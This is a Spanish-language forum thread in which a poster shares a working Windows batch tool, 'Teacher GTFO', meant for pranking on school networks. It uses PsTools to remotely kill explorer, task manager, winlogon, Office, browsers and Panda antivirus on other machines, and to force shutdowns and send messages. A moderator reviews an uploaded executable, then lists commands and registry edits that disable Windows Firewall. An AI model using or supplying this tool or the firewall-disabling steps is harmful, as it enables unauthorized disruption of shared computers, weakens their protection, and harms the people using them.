Programa Para LAN

Mr.BinaryCode · 28-mar-2012, 06:55

Buenas, es mi primer programa, y me gustaria que me dieseis vuestra opinion soy bastante nuevo en esto, la verdad, y bueno lo aporto para ver si tenemoes ideas en comun y poder hacer un programa mas completo

, demomento, el programa tan solo se puede usar, para redes como colegios, institutos, vamos que es como un acceso directo a codigos para putear o gastar bromas en clase a los colegas, pues esta era la finalidad , tan solo que os guste, tambien he de avisar que hay errores, y que bueno, que en la proxima version arreglo los errores , es que ahora mismo no tengo mucho tiempo xD, pero en una semana estara listo, tan solo comentad, y decirme si os mola la idea o no

Un saludo y gracias de antemano, por vusetra colaboracion.
Script:

Código:

@echo off
@echo off
color a
title Teacher GTFO v2.0.1
echo Teacher Get The Fuck Off 
echo by Binary Code
echo ----------------------                               
echo Ingresa tu nombre:
set /p name=
echo Donde se encuentra Pstools en tu sistema?:
set /p tools=
echo Direccion: %tools%
cd /d %tools%
copy /Y psexec.exe C:\Windows\system32\
copy /Y pskill.exe C:\Windows\system32\
copy /Y psinfo.exe C:\Windows\system32\
copy /Y pslist.exe C:\Windows\system32\
for /f "tokens=*" %%a in ('Reg query "HKEY_USERS" /f - ^| findstr /r .-......- ^| find /v "Classes"') do (set SID=%%a)
reg add "%SID%\Software\Sysinternals\PSInfo" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
reg add "%SID%\Software\Sysinternals\PSkill" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
reg add "%SID%\Software\Sysinternals\PSlist" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
reg add "%SID%\Software\Sysinternals\PSexec" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
cls
goto :ini
:ini
    cls
    Echo Bienvenido %name%, sesion iniciada en %username% 
        echo -------------------
        echo 1.- Numero Maquina            TARGET Actual=%maquina%
        echo 2.- Ataque BinaryCode        
        echo 3.- Quitar Herramientas                
        echo 4.- Quitar Navegadores
        echo 5.- Herramientas Apagar/Reiniciar
              echo 6.- Mensajes LAN
        echo 7.- Ultilities
        echo 8.- No tengo Pstools
        echo -------------------
            SET /P M=
            IF %M%==1 Goto :1
            IF %M%==2 goto :2
            IF %M%==3 goto :3
            IF %M%==4 goto :4
            IF %M%==5 goto :5
            IF %M%==6 goto :6
            IF %M%==7 goto :7
            IF %M%==8 goto :8

                PAUSE
:1
    echo Ingresa el numero de la maquina:
        set /p maquina=
        msg * Done!
        cls
        goto :ini
:2
        pskill.exe -t %maquina% explorer.exe
        pskill.exe -t %maquina% taskmgr.exe
        cls
            echo Otra vez?
            echo ------------
            echo 1.- Si
            echo 2.- No
            echo ------------
                SET /P S=
                IF %S%==1 goto :2
                IF %S%==2 goto :ini
                    cls
:3
    cls
        echo -------------------
        echo 1.- Word
        echo 2.- Excel
        echo 3.- Acces
        echo 4.- PowerPoint
              echo 5.- Vmware
                echo 6.- PandaAntivirus 
              echo 7.- Gadgets
        echo 8.- Volver al menu
        echo -------------------
            set /p TY=
            IF %TY%==1 goto :word
            IF %TY%==2 goto :excel
            IF %TY%==3 goto :Acces
            IF %TY%==4 goto :Powerpoint
                     IF %TY%==5 goto :vmware
            IF %TY%==6 goto :panda
            IF %TY%==7 goto :gadgets
            IF %TY%==8 goto :ini
                :word
                    pskill.exe -t %maquina% word.exe
                    msg * done!
                    cls
                    goto :ini
                :excel
                    pskill.exe -t %maquina% excel.exe
                    msg * Done!
                    cls
                    goto :ini
                :Acces
                    pskill.exe -t %maquina% acces.exe
                    msg * done
                    cls
                :Powerpoint
                    pskill.exe -t %maquina% powerpoint.exe
                    echo Otra vez?
                        echo ------------
                        echo 1.- Si
                        echo 2.- No
                        echo ------------
                            SET /P asd=
                            IF %asd%==1 goto :Powerpoint
                            IF %asd%==2 goto :ini
                            msg * Done!
                            cls
                                 :vmware
                                  pskill.exe -t %maquina% vmwareplayer.exe
                                            echo Otra vez?
                        echo ------------
                        echo 1.- Si
                        echo 2.- No
                        echo ------------
                            SET /P asd=
                            IF %asd%==1 goto :vmware
                            IF %asd%==2 goto :ini
                            msg * Done!
                            cls
                            :panda
                                cls
                pskill.exe -t %maquina% ApVxdWin.exe
                                goto :3
                :gadgets
                cls
                pskill.exe -t %maquina% sidebar.exe
                goto :3
                cls
                    
                 :back
                    cls
                    goto :ini
:4
cls
    echo ---------------------
    echo 1.- Firefox
    echo 2.- IExplorer
    echo 3.- Safari
    echo 4.- Chrome
    echo 5.- Volver
    echo ---------------------
        set /p JU=
        IF %JU%==1 goto :111
        IF %JU%==2 goto :222
        IF %JU%==3 goto :333
        IF %JU%==4 goto :44
        IF %JU%==5 goto :ini
            :111
            pskill.exe -t %maquina% firefox.exe
            cls
            echo Otra vez?
            echo ------------
            echo 1.- Si
            echo 2.- No
            echo ------------
                SET /P X=
                IF %X%==1 goto :111
                IF %X%==2 goto :ini
                       :222
                       pskill.exe -t %maquina% iexplorer.exe
                       cls
                            echo Otra vez?
            echo ------------
            echo 1.- Si
            echo 2.- No
            echo ------------
                SET /P XR=
                IF %XR%==1 goto :222
                IF %XR%==2 goto :in                 
:5
        cls
        echo ------------------------
        echo 1.- Reiniciar
        echo 2.- Apagar
        echo 3.- Cerrar sesion
        echo 4.- Volver
        echo ------------------------
        echo Seleciona opcion:
           set /p ppp=
             IF %ppp%==1 goto :asdd
             IF %ppp%==2 goto :dsaaa
             IF %ppp%==3 goto :fu
             IF %ppp%==4 goto :ini
:asdd
    echo En cuanto tiempo quieres que se reinicie?:
        set /p time=
    echo Que comentario quieres añadir?:
        set /p comment=
            echo --------------------------
            echo | Estas seguro de que     |
            echo |     lo quieres hacer?|
            echo --------------------------
            echo 
            echo
            PAUSE
                shutdown -r -m %maquina% -t %time% -c %comment%
                cls
                ping %maquina%
                                PAUSE
                echo Si sale fallido se lo has reiniciado ._. xD        
                msg * Done!
                cls
                goto :ini
:dsaaa
    echo En cuanto tiempo quieres que se apague?:
        set /p time2=
    echo Que comentario quieres dejar?:
        set /p comment2=
    echo Ready?
    PAUSE
        shutdown -s -m %maquina% -t %time2% -c %comment2%
        cls
            ping %maquina%
            echo Si sale fallido se lo has apagado ._. xD
            PAUSE
                msg * Done!
            goto :ini
:fu
 pskill.exe -t %maquina% winlogon.exe
 cls
            echo Otra vez?
            echo ------------
            echo 1.- Si
            echo 2.- No
            echo ------------
                SET /P XAXA=
                IF %XAXA%==1 goto :fu
                IF %XAXA%==2 goto :ini
 
:6        
        cls
        echo --------------------------
        echo 1.- Para enviar por msg
        echo 2.- Volver
        echo --------------------------
        echo Selecione su opcion:
            set /p TTT=
            IF %TTT%==1 goto :msg1
            IF %TTT%==2 goto :ini
:msg1
   echo Introduce el mensaje que se va a enviar:
   set /p mess=
   psexec.exe %maquina% msg * %mess%
   goto :6

:7
cls
  echo ----------------------------
  echo 1.- Arp -d doble
  echo 2.- Ver todos los ordenadores en tu RED
  echo 3.- Volver
  echo ----------------------------
    set /p lol=
    IF %LOL%==1 goto :arp
    IF %LOL%==2 goto :netview
    IF %LOL%==3 goto :ini
:arp
cls
            psexec.exe %maquina% arp -d
        arp -d
        msg * Done!
        goto :7

:netview
 cls
 net view /all
 PAUSE
 goto :7

:8
        cls
        echo -------------------------
        echo 1.- Descargar Pstools
        echo 2.- Volver
        echo -------------------------
        echo Seleciona la opcion:
        set /p ll=
        IF %ll%==1 goto :download
     IF %ll%==3 goto :ini
:download
    start http://download.sysinternals.com/Files/PsTools.zip
    msg * Ahora empieza la descarga...
    goto :10

Con esto vale ? ^^
Ya he cambiado el codigo

, si encontrais algun fallo aun decidmelo por aqui, Link actualizado ^^
Link: http://www.mediafire.com/?vvb5f7ccfcwa42t

EleKtro H@cker · 28-mar-2012, 08:08

Hola

[Solo usuarios registrados pueden ver los links. REGISTRARSE]

, En este foro no soy moderador pero igual te digo que es motivo de BAN postear un ejecutable en la sección de scripting sin postear el supuesto script.

El foro es para fines educativos.

Aparte de esto:

Cita:

Iniciado por Virustotal.com

SHA256: 86cf65a3fc5ad68adc88498a972095f826786a68d99e7ca666 1124aef89ded92
Nombre: TGTFO 2.0.exe
Detecciones: 1 / 42
Fecha de análisis: 2012-03-28 13:03:02 UTC ( hace 1 minuto )

Kaspersky Trojan.VBS.Agent.l 20120328

PD: En cuanto pueda monitorizo el archivo a fondo en una máquina virtual, Recomiendo que no lo ejecuten de momento (Aunque puedo estar equivocado) luego os lo confirmo amigos.

Salu2.

Mr.BinaryCode · 28-mar-2012, 08:19

Puedes probarlo, no lleva ningun troyano, y ahora pongo el script ._. xD, don't wrry

EleKtro H@cker · 28-mar-2012, 09:33

Efectivamente, COMPROBADO, El kaspersky dió un falso positivo.

- No crea ninguna conexión esterna.
- No crea ningún archivo malicioso.
- No crea ninguna clave de registro.

Simplemente es un bat convertido a exe.

Lo que si que crea un archivo ejecutable junto al script:

Código:

tmp88514.exe
tmp88514.bat

Y agrega una parte de código al principio del script original:

Código:

set ztmp=C:\Users\HFGHFH\AppData\Local\Temp\ztmp
set MYFILES=C:\Users\HFGHFH\AppData\Local\Temp\afolder
set bfcec=tmp88514.exe

Pero no hay que preocuparse.

PD: No es por nada personal, Simplemente un usuario con 1 mensaje en el foro posteando un exe es motivo de desconfianza.

Salu2!

Mr.BinaryCode · 28-mar-2012, 09:36

Imagino ningun problema

, tan solo queria ver que tal les parecia a los usuarios del foro y tal ^^, para poder crear nuevas opciones y demas :P, y lo de que crea un archivos si, es para abrir la lectora, un tonto vbs, lo tengo que reparar tambien
Saludos.

EleKtro H@cker · 28-mar-2012, 09:43

Hola de nuevo, Hago doble post para cambiar de tema y centrarme en tu script.

1º - Si se tiene el pstools en la carpeta "...\windows\system32" no es necesario pensar en usar ninguna variable como comentabas en tu comentario principal, Ni támpoco usar el comando "cd", obvio.

2º - Puedes eliminar todo el código que hiciste sobre aceptar los derechos de los programas de sysinternals.
Es suficiente con crear una clave en de registro y luego ejecutar el programa, Ya no pedirá confirmación.

Código:

for /f "tokens=*" %%a in ('Reg query "HKEY_USERS" /f - ^| findstr /r .-......- ^| find /v "Classes"') do (set SID=%%a)
reg add "%SID%\Software\Sysinternals\PSInfo" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
reg add "%SID%\Software\Sysinternals\PSkill" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
reg add "%SID%\Software\Sysinternals\PSlist" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F
reg add "%SID%\Software\Sysinternals\PStools" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F

El resto no me lo he mirado, Pero te hace falta entender el uso de la indentación.

Aparte de eso, El foro sigue teniendo unas normas, debes usar la etiqueta de código cuando postees.

Un saludo!

pax01 · 28-mar-2012, 11:18

Exacto como dijo @Elektro Hacker debes utilizar . Entonces se puede entender mejor el codigo. Sino se desconfigura o es mas difícil comprenderlo.

Mr.BinaryCode · 28-mar-2012, 13:10

Vale ahora me pongo a hacer lo de los registros ^^, gracias por el detalle de los registros, y ahora miro de ponerlo en el sys32 los archivos asi menos rollo de cd y tal, Electro un temilla que tenia yo.. dudoso, se que hay claves de registro para el tema deshabilitar firewall remotamente, soy admin de mi red, puedes dejar la clave de registro o alguien que la sepa? ^^

Un saludo y gracias por las correciones y consejos

EleKtro H@cker · 28-mar-2012, 15:13

Cita:

Iniciado por Mr.BinaryCode

, puedes dejar la clave de registro o alguien que la sepa? ^^

Desactivar el firewall de Windows por el método del servicio:

Batch:

Código:

@echo off
SC stop mpssvc
sc config mpssvc start= disabled
exit

Regedit:

Código:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mpssvc]
"Start"=dword:00000004

Desactivar el firewall de windows usando la utilidad netsh de Microsoft:

Código:

netsh firewall set opmode disable

Deshabilitar el firewall de windows por el método de las políticas de grupo:

Batch:

Código:

@echo off
reg add "HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy" /v "EnableFirewall" /T "REG_DWORD" /D "0" /f
Exit

Regedit:

Código:

Windows Registry Editor Version 5.00 
 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
 "EnableFirewall"=dword:00000000

Salu2.

vico.luis · 29-abr-2012, 04:06

Estos codigos funcionan en equipos con windows 7 tambien ?

28-mar-2012, 08:19	#3
Mr.BinaryCode Recien llegado Fecha de Ingreso: marzo-2012 Amigos 0 Mensajes: 4 Gracias: 2 Agradecido 3 veces en 3 mensajes.	Respuesta: Programa Para LAN Puedes probarlo, no lleva ningun troyano, y ahora pongo el script ._. xD, don't wrry

28-mar-2012, 09:33	#4
EleKtro H@cker Moderador y merodeador := Fecha de Ingreso: marzo-2011 Ubicación: Valencia city, Spain Amigos 17 Mensajes: 987 Gracias: 1.959 Agradecido 341 veces en 246 mensajes.	Respuesta: Programa Para LAN Efectivamente, COMPROBADO, El kaspersky dió un falso positivo. - No crea ninguna conexión esterna. - No crea ningún archivo malicioso. - No crea ninguna clave de registro. Simplemente es un bat convertido a exe. Lo que si que crea un archivo ejecutable junto al script: Código: tmp88514.exe tmp88514.bat Y agrega una parte de código al principio del script original: Código: set ztmp=C:\Users\HFGHFH\AppData\Local\Temp\ztmp set MYFILES=C:\Users\HFGHFH\AppData\Local\Temp\afolder set bfcec=tmp88514.exe Pero no hay que preocuparse. PD: No es por nada personal, Simplemente un usuario con 1 mensaje en el foro posteando un exe es motivo de desconfianza. Salu2! Última edición por EleKtro H@cker; 28-mar-2012 a las 09:44

28-mar-2012, 09:36	#5
Mr.BinaryCode Recien llegado Fecha de Ingreso: marzo-2012 Amigos 0 Mensajes: 4 Gracias: 2 Agradecido 3 veces en 3 mensajes.	Respuesta: Programa Para LAN Imagino ningun problema , tan solo queria ver que tal les parecia a los usuarios del foro y tal ^^, para poder crear nuevas opciones y demas :P, y lo de que crea un archivos si, es para abrir la lectora, un tonto vbs, lo tengo que reparar tambien Saludos.

28-mar-2012, 09:43	#6
EleKtro H@cker Moderador y merodeador := Fecha de Ingreso: marzo-2011 Ubicación: Valencia city, Spain Amigos 17 Mensajes: 987 Gracias: 1.959 Agradecido 341 veces en 246 mensajes.	Respuesta: Programa Para LAN Hola de nuevo, Hago doble post para cambiar de tema y centrarme en tu script. 1º - Si se tiene el pstools en la carpeta "...\windows\system32" no es necesario pensar en usar ninguna variable como comentabas en tu comentario principal, Ni támpoco usar el comando "cd", obvio. 2º - Puedes eliminar todo el código que hiciste sobre aceptar los derechos de los programas de sysinternals. Es suficiente con crear una clave en de registro y luego ejecutar el programa, Ya no pedirá confirmación. Código: for /f "tokens=*" %%a in ('Reg query "HKEY_USERS" /f - ^\| findstr /r .-......- ^\| find /v "Classes"') do (set SID=%%a) reg add "%SID%\Software\Sysinternals\PSInfo" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F reg add "%SID%\Software\Sysinternals\PSkill" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F reg add "%SID%\Software\Sysinternals\PSlist" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F reg add "%SID%\Software\Sysinternals\PStools" /V "EulaAccepted" /T "REG_DWORD" /D "1" /F El resto no me lo he mirado, Pero te hace falta entender el uso de la indentación. Aparte de eso, El foro sigue teniendo unas normas, debes usar la etiqueta de código cuando postees. Un saludo!

28-mar-2012, 11:18	#7
pax01 Moderador Fecha de Ingreso: enero-2012 Ubicación: /deepweb Amigos 10 Mensajes: 552 Gracias: 70 Agradecido 100 veces en 87 mensajes.	Respuesta: Programa Para LAN Exacto como dijo @Elektro Hacker debes utilizar . Entonces se puede entender mejor el codigo. Sino se desconfigura o es mas difícil comprenderlo. __________________ Programar es comprender

28-mar-2012, 13:10	#8
Mr.BinaryCode Recien llegado Fecha de Ingreso: marzo-2012 Amigos 0 Mensajes: 4 Gracias: 2 Agradecido 3 veces en 3 mensajes.	Respuesta: Programa Para LAN Vale ahora me pongo a hacer lo de los registros ^^, gracias por el detalle de los registros, y ahora miro de ponerlo en el sys32 los archivos asi menos rollo de cd y tal, Electro un temilla que tenia yo.. dudoso, se que hay claves de registro para el tema deshabilitar firewall remotamente, soy admin de mi red, puedes dejar la clave de registro o alguien que la sepa? ^^ Un saludo y gracias por las correciones y consejos

29-abr-2012, 04:06	#10
vico.luis Recien llegado Fecha de Ingreso: marzo-2012 Amigos 0 Mensajes: 4 Gracias: 0 Agradecido 0 veces en 0 mensajes.	Respuesta: Programa Para LAN Estos codigos funcionan en equipos con windows 7 tambien ?

Herramientas
Mostrar Versión Imprimible Enviar por Correo
Desplegado
Mode Lineal Cambiar a Modo Hibrido Cambiar a Modo Hilado

Temas Similares
Tema	Autor	Foro	Respuestas	Último mensaje
El sendero del hacker	arcangel_night	Hack para newbies	34	26-dic-2012 16:41
HALOTEA - El �nico software para la creaci�n de sonidos atmosf�ricos le da la bienvenida!	doblefoul	Software	0	17-mar-2012 09:13
Adobe Creative Suite 5.5 Prod Premium [Esp][WU]	Blade Master 666	Software	1	13-jul-2011 13:48
Adobe Creative Suite Production Premium CS5 [Full-DVD9+Keygen][Español	milaras21	Software	1	24-oct-2010 09:50
Cómo NO realizar una práctica de programación.	Trivi181	Programación	1	18-oct-2010 23:24